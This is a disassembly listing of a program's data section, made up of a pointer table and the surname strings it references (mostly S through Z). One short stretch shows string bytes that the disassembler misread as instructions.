		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
; ---------------------------------------------------------------------------
		and	ah, ch
		inc	edx
		add	[esp+ebp*8], dl
		inc	edx
		add	[esp+ebp*8], cl
		inc	edx
		add	[esp+ebp*8], al
		inc	edx
		add	ah, bh
		jmp	short loc_42EC09
; ---------------------------------------------------------------------------
		align 4
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: ___:0042EBD4o
		align 4
aZwiers		db 'Zwiers',0           ; DATA XREF: ___:0042EBD0o
		align 4
aZurn		db 'Zurn',0             ; DATA XREF: ___:0042EBCCo
		align 4
aZucconi	db 'Zucconi',0          ; DATA XREF: ___:0042EBC8o
aZoldak		db 'Zoldak',0
		align 4
		dd 6272655Ah
		db 69h
; ---------------------------------------------------------------------------


loc_42EC09:				; CODE XREF: ___:0042EBC5j
		outsb
		imul	eax, [eax], 6167655Ah
		outsb
		jnb	short $+2
		add	[edx+61h], bl
		outsb
		db	67h
		ja	near ptr 0EC83h
		insb
		insb
; ---------------------------------------------------------------------------
		dd 0
aZahedi		db 'Zahedi',0
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: ___:0042EBB0o
aYu		db 'Yu',0               ; DATA XREF: ___:0042EBACo
		align 4
aYoukSee	db 'Youk-See',0         ; DATA XREF: ___:0042EBA8o
		align 10h
aYoo		db 'Yoo',0              ; DATA XREF: ___:0042EBA4o
aYoffe		db 'Yoffe',0            ; DATA XREF: ___:0042EBA0o
		align 4
aYetiv		db 'Yetiv',0            ; DATA XREF: ___:0042EB9Co
		align 4
aYesson		db 'Yesson',0           ; DATA XREF: ___:0042EB98o
		align 4
aYedidia	db 'Yedidia',0          ; DATA XREF: ___:0042EB94o
aYbarra		db 'Ybarra',0           ; DATA XREF: ___:0042EB90o
		align 4
aYates		db 'Yates',0            ; DATA XREF: ___:0042EB8Co
		align 4
aYarchuk	db 'Yarchuk',0          ; DATA XREF: ___:0042EB88o
aYankee		db 'Yankee',0           ; DATA XREF: ___:0042EB84o
		align 4
aYamane		db 'Yamane',0           ; DATA XREF: ___:0042EB80o
		align 4
aYacono		db 'Yacono',0           ; DATA XREF: ___:0042EB7Co
		align 4
aVotey		db 'Votey',0            ; DATA XREF: ___:0042EB78o
		align 4
aVorhaus	db 'Vorhaus',0          ; DATA XREF: ___:0042EB74o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: ___:0042EB70o
		align 4
aWoods		db 'Woods',0            ; DATA XREF: ___:0042EB6Co
		align 4
aWooden		db 'Wooden',0           ; DATA XREF: ___:0042EB68o
		align 4
aWoo		db 'Woo',0              ; DATA XREF: ___:0042EB64o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: ___:0042EB60o
		align 4
aWolk		db 'Wolk',0             ; DATA XREF: ___:0042EB5Co
		align 4
aVoigt		db 'Voigt',0            ; DATA XREF: ___:0042EB58o
		align 4
aViviani	db 'Viviani',0          ; DATA XREF: ___:0042EB54o
aVitali		db 'Vitali',0           ; DATA XREF: ___:0042EB50o
		align 4
aWilson		db 'Wilson',0           ; DATA XREF: ___:0042EB4Co
		align 4
aWillstatter	db 'Willstatter',0      ; DATA XREF: ___:0042EB48o
aVillarreal	db 'Villarreal',0       ; DATA XREF: ___:0042EB44o
		align 4
aWilkinson	db 'Wilkinson',0        ; DATA XREF: ___:0042EB40o
		align 10h
aWilkin		db 'Wilkin',0           ; DATA XREF: ___:0042EB3Co
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: ___:0042EB38o
		align 10h
aWilhelm	db 'Wilhelm',0          ; DATA XREF: ___:0042EB34o
aWilder		db 'Wilder',0           ; DATA XREF: ___:0042EB30o
		align 10h
aVignola	db 'Vignola',0          ; DATA XREF: ___:0042EB2Co
aViens		db 'Viens',0            ; DATA XREF: ___:0042EB28o
		align 10h
aWiener		db 'Wiener',0           ; DATA XREF: ___:0042EB24o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: ___:0042EB20o
aViano		db 'Viano',0            ; DATA XREF: ___:0042EB1Co
		align 4
aViana		db 'Viana',0            ; DATA XREF: ___:0042EB18o
		align 4
aWhittaker	db 'Whittaker',0        ; DATA XREF: ___:0042EB14o
		align 10h
aWhitla		db 'Whitla',0           ; DATA XREF: ___:0042EB10o
		align 4
aWhite		db 'White',0            ; DATA XREF: ___:0042EB0Co
		align 10h
aWhilton	db 'Whilton',0          ; DATA XREF: ___:0042EB08o
aWhately	db 'Whately',0          ; DATA XREF: ___:0042EB04o
aWetzel		db 'Wetzel',0           ; DATA XREF: ___:0042EB00o
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: ___:0042EAFCo
aVerghese	db 'Verghese',0         ; DATA XREF: ___:0042EAF8o
		align 4
aVenne		db 'Venne',0            ; DATA XREF: ___:0042EAF4o
		align 4
aWengret	db 'Wengret',0          ; DATA XREF: ___:0042EAF0o
aWelsh		db 'Welsh',0            ; DATA XREF: ___:0042EAECo
		align 4
aWelles		db 'Welles',0           ; DATA XREF: ___:0042EAE8o
		align 4
aVelasquez	db 'Velasquez',0        ; DATA XREF: ___:0042EAE4o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: ___:0042EAE0o
		align 4
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: ___:0042EADCo
		align 10h
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: ___:0042EAD8o
		align 4
aWeingarten	db 'Weingarten',0       ; DATA XREF: ___:0042EAD4o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: ___:0042EAD0o
		align 4
aWaugh		db 'Waugh',0            ; DATA XREF: ___:0042EACCo
		align 4
aVasquez	db 'Vasquez',0          ; DATA XREF: ___:0042EAC8o
aWasowska	db 'Wasowska',0         ; DATA XREF: ___:0042EAC4o
		align 10h
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: ___:0042EAC0o
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: ___:0042EABCo
		align 4
aVandenberg	db 'Vandenberg',0       ; DATA XREF: ___:0042EAB8o
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: ___:0042EAB4o
aVanallen	db 'vanAllen',0         ; DATA XREF: ___:0042EAB0o
		align 4
aWalter		db 'Walter',0           ; DATA XREF: ___:0042EAACo
		align 4
aWallenberg	db 'Wallenberg',0       ; DATA XREF: ___:0042EAA8o
		align 10h
aWales		db 'Wales',0            ; DATA XREF: ___:0042EAA4o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: ___:0042EAA0o
		align 4
aValberg	db 'Valberg',0          ; DATA XREF: ___:0042EA9Co
aWaite		db 'Waite',0            ; DATA XREF: ___:0042EA98o
		align 4
aVacca		db 'Vacca',0            ; DATA XREF: ___:0042EA94o
		align 4
aUzuner		db 'Uzuner',0           ; DATA XREF: ___:0042EA90o
		align 4
aUsdan		db 'Usdan',0            ; DATA XREF: ___:0042EA8Co
		align 4
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: ___:0042EA88o
		align 4
aUrban		db 'Urban',0            ; DATA XREF: ___:0042EA84o
		align 4
aUpsdell	db 'Upsdell',0          ; DATA XREF: ___:0042EA80o
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: ___:0042EA7Co
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: ___:0042EA78o
		align 10h
aTzamarias	db 'Tzamarias',0        ; DATA XREF: ___:0042EA74o
		align 4
aTwells		db 'Twells',0           ; DATA XREF: ___:0042EA70o
		align 4
aTuttle		db 'Tuttle',0           ; DATA XREF: ___:0042EA6Co
		align 4
aTurek		db 'Turek',0            ; DATA XREF: ___:0042EA68o
		align 4
aTurano		db 'Turano',0           ; DATA XREF: ___:0042EA64o
		align 4
aTukan		db 'Tukan',0            ; DATA XREF: ___:0042EA60o
		align 4
aTudge		db 'Tudge',0            ; DATA XREF: ___:0042EA5Co
		align 4
aTuck		db 'Tuck',0             ; DATA XREF: ___:0042EA58o
		align 4
aTsukurov	db 'Tsukurov',0         ; DATA XREF: ___:0042EA54o
		align 10h
aTsomides	db 'Tsomides',0         ; DATA XREF: ___:0042EA50o
		align 4
aTsiatis	db 'Tsiatis',0          ; DATA XREF: ___:0042EA4Co
aTruss		db 'Truss',0            ; DATA XREF: ___:0042EA48o
		align 4
aTroy		db 'Troy',0             ; DATA XREF: ___:0042EA44o
		align 4
aTroiani	db 'Troiani',0          ; DATA XREF: ___:0042EA40o
aTringali	db 'Tringali',0         ; DATA XREF: ___:0042EA3Co
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: ___:0042EA38o
		align 10h
aTrenga		db 'Trenga',0           ; DATA XREF: ___:0042EA34o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: ___:0042EA30o
		align 4
aToye		db 'Toye',0             ; DATA XREF: ___:0042EA2Co
		align 4
aTowler		db 'Towler',0           ; DATA XREF: ___:0042EA28o
		align 4
aTorske		db 'Torske',0           ; DATA XREF: ___:0042EA24o
		align 4
aTorresi	db 'Torresi',0          ; DATA XREF: ___:0042EA20o
aTopulos	db 'Topulos',0          ; DATA XREF: ___:0042EA1Co
aToomer		db 'Toomer',0           ; DATA XREF: ___:0042EA18o
		align 4
aTomford	db 'Tomford',0          ; DATA XREF: ___:0042EA14o
aTolman		db 'Tolman',0           ; DATA XREF: ___:0042EA10o
		align 4
aTolls		db 'Tolls',0            ; DATA XREF: ___:0042EA0Co
		align 4
aTollestrup	db 'Tollestrup',0       ; DATA XREF: ___:0042EA08o
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: ___:0042EA04o
		align 4
aTimmons	db 'Timmons',0          ; DATA XREF: ___:0042EA00o
aTill		db 'Till',0             ; DATA XREF: ___:0042E9FCo
		align 4
aTierney	db 'Tierney',0          ; DATA XREF: ___:0042E9F8o
aThroop		db 'Throop',0           ; DATA XREF: ___:0042E9F4o
		align 4
aThomsen	db 'Thomsen',0          ; DATA XREF: ___:0042E9F0o
aThisted	db 'Thisted',0          ; DATA XREF: ___:0042E9ECo
aThibault	db 'Thibault',0         ; DATA XREF: ___:0042E9E8o
		align 10h
aTheodos	db 'Theodos',0          ; DATA XREF: ___:0042E9E4o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: ___:0042E9E0o
		align 4
aThan		db 'Than',0             ; DATA XREF: ___:0042E9DCo
		align 10h
aTerracini	db 'Terracini',0        ; DATA XREF: ___:0042E9D8o
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: ___:0042E9D4o
		align 4
aTemmer		db 'Temmer',0           ; DATA XREF: ___:0042E9D0o
		align 4
aTemes		db 'Temes',0            ; DATA XREF: ___:0042E9CCo
		align 4
aTeague		db 'Teague',0           ; DATA XREF: ___:0042E9C8o
		align 4
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: ___:0042E9C4o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: ___:0042E9C0o
		align 10h
aTaveras	db 'Taveras',0          ; DATA XREF: ___:0042E9BCo
aTatar		db 'Tatar',0            ; DATA XREF: ___:0042E9B8o
		align 10h
aTanowitz	db 'Tanowitz',0         ; DATA XREF: ___:0042E9B4o
		align 4
aTandler	db 'Tandler',0          ; DATA XREF: ___:0042E9B0o
aTambiah	db 'Tambiah',0          ; DATA XREF: ___:0042E9ACo
aTalaugon	db 'Talaugon',0         ; DATA XREF: ___:0042E9A8o
		align 4
aTai		db 'Tai',0              ; DATA XREF: ___:0042E9A4o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: ___:0042E9A0o
aSwindle	db 'Swindle',0          ; DATA XREF: ___:0042E99Co
aSweetser	db 'Sweetser',0         ; DATA XREF: ___:0042E998o
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: ___:0042E994o
		align 4
aSurdam		db 'Surdam',0           ; DATA XREF: ___:0042E990o
		align 4
aSuo		db 'Suo',0              ; DATA XREF: ___:0042E98Co
aSumner		db 'Sumner',0           ; DATA XREF: ___:0042E988o
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: ___:0042E984o
		align 4
aStringer	db 'Stringer',0         ; DATA XREF: ___:0042E980o
		align 10h
aStreiff	db 'Streiff',0          ; DATA XREF: ___:0042E97Co
aStrauch	db 'Strauch',0          ; DATA XREF: ___:0042E978o
aStrange	db 'Strange',0          ; DATA XREF: ___:0042E974o
aStott		db 'Stott',0            ; DATA XREF: ___:0042E970o
		align 10h
aStorer		db 'Storer',0           ; DATA XREF: ___:0042E96Co
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: ___:0042E968o
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: ___:0042E964o
aStockwell	db 'Stockwell',0        ; DATA XREF: ___:0042E960o
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: ___:0042E95Co
		align 4
aStock		db 'Stock',0            ; DATA XREF: ___:0042E958o
		align 4
aStillwell	db 'Stillwell',0        ; DATA XREF: ___:0042E954o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: ___:0042E950o
		align 4
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: ___:0042E94Co
		align 4
aStepniewska	db 'Stepniewska',0      ; DATA XREF: ___:0042E948o
aStephanian	db 'Stephanian',0       ; DATA XREF: ___:0042E944o
		align 4
aSteiner	db 'Steiner',0          ; DATA XREF: ___:0042E940o
aStefani	db 'Stefani',0          ; DATA XREF: ___:0042E93Co
aStatlender	db 'Statlender',0       ; DATA XREF: ___:0042E938o
		align 4
aStates		db 'States',0           ; DATA XREF: ___:0042E934o
		align 10h
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: ___:0042E930o
		align 10h
aStang		db 'Stang',0            ; DATA XREF: ___:0042E92Co
		align 4
aStam		db 'Stam',0             ; DATA XREF: ___:0042E928o
		align 10h
aStalvey	db 'Stalvey',0          ; DATA XREF: ___:0042E924o
aStmartin	db 'StMartin',0         ; DATA XREF: ___:0042E920o
		align 4
aSpinrad	db 'Spinrad',0          ; DATA XREF: ___:0042E91Co
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: ___:0042E918o
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: ___:0042E914o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: ___:0042E910o
		align 10h
aSperber	db 'Sperber',0          ; DATA XREF: ___:0042E90Co
aSpence		db 'Spence',0           ; DATA XREF: ___:0042E908o
		align 10h
aSpeizer	db 'Speizer',0          ; DATA XREF: ___:0042E904o
aSpaulding	db 'Spaulding',0        ; DATA XREF: ___:0042E900o
		align 4
aSparrow	db 'Sparrow',0          ; DATA XREF: ___:0042E8FCo
aSpanier	db 'Spanier',0          ; DATA XREF: ___:0042E8F8o
aSoultanian	db 'Soultanian',0       ; DATA XREF: ___:0042E8F4o
		align 10h
aSoule		db 'Soule',0            ; DATA XREF: ___:0042E8F0o
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: ___:0042E8ECo
		align 10h
aSottak		db 'Sottak',0           ; DATA XREF: ___:0042E8E8o
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: ___:0042E8E4o
		align 10h
aSorabella	db 'Sorabella',0        ; DATA XREF: ___:0042E8E0o
		align 4
aSommariva	db 'Sommariva',0        ; DATA XREF: ___:0042E8DCo
		align 4
aSomers		db 'Somers',0           ; DATA XREF: ___:0042E8D8o
		align 10h
aSolon		db 'Solon',0            ; DATA XREF: ___:0042E8D4o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: ___:0042E8D0o
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: ___:0042E8CCo
		align 4
aSniffen	db 'Sniffen',0          ; DATA XREF: ___:0042E8C8o
aSmilow		db 'Smilow',0           ; DATA XREF: ___:0042E8C4o
		align 4
aSlowe		db 'Slowe',0            ; DATA XREF: ___:0042E8C0o
		align 4
aSloan		db 'Sloan',0            ; DATA XREF: ___:0042E8BCo
		align 4
aSkoda		db 'Skoda',0            ; DATA XREF: ___:0042E8B8o
		align 4
aSkerry		db 'Skerry',0           ; DATA XREF: ___:0042E8B4o
		align 4
aSkane		db 'Skane',0            ; DATA XREF: ___:0042E8B0o
		align 4
aSites		db 'Sites',0            ; DATA XREF: ___:0042E8ACo
		align 4
aSirilli	db 'Sirilli',0          ; DATA XREF: ___:0042E8A8o
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: ___:0042E8A4o
		align 10h
aSilvetti	db 'Silvetti',0         ; DATA XREF: ___:0042E8A0o
		align 4
aSilverman	db 'Silverman',0        ; DATA XREF: ___:0042E89Co
		align 4
aSigna		db 'Signa',0            ; DATA XREF: ___:0042E898o
		align 10h
aSigini		db 'Sigini',0           ; DATA XREF: ___:0042E894o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: ___:0042E890o
aSiesto		db 'Siesto',0           ; DATA XREF: ___:0042E88Co
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: ___:0042E888o
		align 10h
aShibata	db 'Shibata',0          ; DATA XREF: ___:0042E884o
aShia		db 'Shia',0             ; DATA XREF: ___:0042E880o
		align 10h
aShesko		db 'Shesko',0           ; DATA XREF: ___:0042E87Co
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: ___:0042E878o
		align 4
aSheppard	db 'Sheppard',0         ; DATA XREF: ___:0042E874o
		align 10h
aShepherd	db 'Shepherd',0         ; DATA XREF: ___:0042E870o
		align 4
aSheats		db 'Sheats',0           ; DATA XREF: ___:0042E86Co
		align 4
aShea		db 'Shea',0             ; DATA XREF: ___:0042E868o
		align 4
aShavelson	db 'Shavelson',0        ; DATA XREF: ___:0042E864o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: ___:0042E860o
aShar		db 'Shar',0             ; DATA XREF: ___:0042E85Co
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: ___:0042E858o
aShankland	db 'Shankland',0        ; DATA XREF: ___:0042E854o
		align 4
aShakis		db 'Shakis',0           ; DATA XREF: ___:0042E850o
		align 4
aShaikh		db 'Shaikh',0           ; DATA XREF: ___:0042E84Co
		align 4
aSeyfert	db 'Seyfert',0          ; DATA XREF: ___:0042E848o
aSexton		db 'Sexton',0           ; DATA XREF: ___:0042E844o
		align 4
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: ___:0042E840o
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: ___:0042E83Co
aSen		db 'Sen',0              ; DATA XREF: ___:0042E838o
aSelvage	db 'Selvage',0          ; DATA XREF: ___:0042E834o
aSekler		db 'Sekler',0           ; DATA XREF: ___:0042E830o
		align 4
aSegal		db 'Segal',0            ; DATA XREF: ___:0042E82Co
		align 4
aSeeber		db 'Seeber',0           ; DATA XREF: ___:0042E828o
		align 4
aSeaton		db 'Seaton',0           ; DATA XREF: ___:0042E824o
		align 4
aScudder	db 'Scudder',0          ; DATA XREF: ___:0042E820o
aScovel		db 'Scovel',0           ; DATA XREF: ___:0042E81Co
		align 4
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: ___:0042E818o
aSchwan		db 'Schwan',0           ; DATA XREF: ___:0042E814o
		align 10h
aSchuyler	db 'Schuyler',0         ; DATA XREF: ___:0042E810o
		align 4
aSchutte	db 'Schutte',0          ; DATA XREF: ___:0042E80Co
aSchuman	db 'Schuman',0          ; DATA XREF: ___:0042E808o
aSchossberger	db 'Schossberger',0     ; DATA XREF: ___:0042E804o
		align 4
aSchmitt	db 'Schmitt',0          ; DATA XREF: ___:0042E800o
aSchilling	db 'Schilling',0        ; DATA XREF: ___:0042E7FCo
		align 10h
aSchifini	db 'Schifini',0         ; DATA XREF: ___:0042E7F8o
		align 4
aSchiano	db 'Schiano',0          ; DATA XREF: ___:0042E7F4o
aScheiner	db 'Scheiner',0         ; DATA XREF: ___:0042E7F0o
		align 10h
aScharlemann	db 'Scharlemann',0      ; DATA XREF: ___:0042E7ECo
aScharf		db 'Scharf',0           ; DATA XREF: ___:0042E7E8o
		align 4
aScepan		db 'Scepan',0           ; DATA XREF: ___:0042E7E4o
		align 4
aScarponi	db 'Scarponi',0         ; DATA XREF: ___:0042E7E0o
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: ___:0042E7DCo
		align 10h
aSawtell	db 'Sawtell',0          ; DATA XREF: ___:0042E7D8o
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: ___:0042E7D4o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: ___:0042E7D0o
		align 10h
aSatin		db 'Satin',0            ; DATA XREF: ___:0042E7CCo
		align 4
aSase		db 'Sase',0             ; DATA XREF: ___:0042E7C8o
		align 10h
aSartore	db 'Sartore',0          ; DATA XREF: ___:0042E7C4o
aSarin		db 'Sarin',0            ; DATA XREF: ___:0042E7C0o
		align 10h
aSapers		db 'Sapers',0           ; DATA XREF: ___:0042E7BCo
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: ___:0042E7B8o
		align 10h
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: ___:0042E7B4o
aSamson		db 'Samson',0           ; DATA XREF: ___:0042E7B0o
		align 4
aSali		db 'Sali',0             ; DATA XREF: ___:0042E7ACo
		align 10h
aSahu		db 'Sahu',0             ; DATA XREF: ___:0042E7A8o
		align 4
aSafire		db 'Safire',0           ; DATA XREF: ___:0042E7A4o
		align 10h
aSadler		db 'Sadler',0           ; DATA XREF: ___:0042E7A0o
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: ___:0042E79Co
		align 4
aRyu		db 'Ryu',0              ; DATA XREF: ___:0042E798o
aRush		db 'Rush',0             ; DATA XREF: ___:0042E794o
		align 10h
aRuescher	db 'Ruescher',0         ; DATA XREF: ___:0042E790o
		align 4
aRuderman	db 'Ruderman',0         ; DATA XREF: ___:0042E78Co
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: ___:0042E788o
		align 10h
aRu		db 'Ru',0               ; DATA XREF: ___:0042E784o
		align 4
aRoyal		db 'Royal',0            ; DATA XREF: ___:0042E780o
		align 4
aRow		db 'Row',0              ; DATA XREF: ___:0042E77Co
aRonen		db 'Ronen',0            ; DATA XREF: ___:0042E778o
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: ___:0042E774o
		align 10h
aRoesler	db 'Roesler',0          ; DATA XREF: ___:0042E770o
aRocha		db 'Rocha',0            ; DATA XREF: ___:0042E76Co
		align 10h
aRobinson	db 'Robinson',0         ; DATA XREF: ___:0042E768o
		align 4
aRivera		db 'Rivera',0           ; DATA XREF: ___:0042E764o
		align 4
aRish		db 'Rish',0             ; DATA XREF: ___:0042E760o
		align 4
aRineer		db 'Rineer',0           ; DATA XREF: ___:0042E75Co
		align 4
aRindos		db 'Rindos',0           ; DATA XREF: ___:0042E758o
		align 4
aRielly		db 'Rielly',0           ; DATA XREF: ___:0042E754o
		align 4
aRichmond	db 'Richmond',0         ; DATA XREF: ___:0042E750o
		align 10h
aRhea		db 'Rhea',0             ; DATA XREF: ___:0042E74Co
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: ___:0042E748o
		align 10h
aRepetto	db 'Repetto',0          ; DATA XREF: ___:0042E744o
aRenick		db 'Renick',0           ; DATA XREF: ___:0042E740o
		align 10h
aRemak		db 'Remak',0            ; DATA XREF: ___:0042E73Co
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: ___:0042E738o
aCunningham	db 'Cunningham',0       ; DATA XREF: ___:0042E734o
		align 4
aReedquist	db 'Reedquist',0        ; DATA XREF: ___:0042E730o
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: ___:0042E72Co
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: ___:0042E728o
aRapple		db 'Rapple',0           ; DATA XREF: ___:0042E724o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: ___:0042E720o
		align 10h
aRangan		db 'Rangan',0           ; DATA XREF: ___:0042E71Co
		align 4
aRaney		db 'Raney',0            ; DATA XREF: ___:0042E718o
		align 10h
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: ___:0042E714o
aRadeke		db 'Radeke',0           ; DATA XREF: ___:0042E710o
		align 4
aRabkin		db 'Rabkin',0           ; DATA XREF: ___:0042E70Co
		align 4
aRabe		db 'Rabe',0             ; DATA XREF: ___:0042E708o
		align 4
aQuetin		db 'Quetin',0           ; DATA XREF: ___:0042E704o
		align 4
aQuaday		db 'Quaday',0           ; DATA XREF: ___:0042E700o
		align 4
aPynchon	db 'Pynchon',0          ; DATA XREF: ___:0042E6FCo
aPugh		db 'Pugh',0             ; DATA XREF: ___:0042E6F8o
		align 4
aPuccia		db 'Puccia',0           ; DATA XREF: ___:0042E6F4o
		align 4
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: ___:0042E6F0o
		align 4
aProietti	db 'Proietti',0         ; DATA XREF: ___:0042E6ECo
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: ___:0042E6E8o
		align 10h
aPritchard	db 'Pritchard',0        ; DATA XREF: ___:0042E6E4o
		align 4
aPrevost	db 'Prevost',0          ; DATA XREF: ___:0042E6E0o
aPreucel	db 'Preucel',0          ; DATA XREF: ___:0042E6DCo
aPresper	db 'Presper',0          ; DATA XREF: ___:0042E6D8o
aPowers		db 'Powers',0           ; DATA XREF: ___:0042E6D4o
		align 4
aPoolman	db 'Poolman',0          ; DATA XREF: ___:0042E6D0o
aPoma		db 'Poma',0             ; DATA XREF: ___:0042E6CCo
		align 4
aPolitis	db 'Politis',0          ; DATA XREF: ___:0042E6C8o
aPolanyi	db 'Polanyi',0          ; DATA XREF: ___:0042E6C4o
aPolak		db 'Polak',0            ; DATA XREF: ___:0042E6C0o
		align 4
aPoirier	db 'Poirier',0          ; DATA XREF: ___:0042E6BCo
aPointer	db 'Pointer',0          ; DATA XREF: ___:0042E6B8o
aPoincaire	db 'Poincaire',0        ; DATA XREF: ___:0042E6B4o
		align 10h
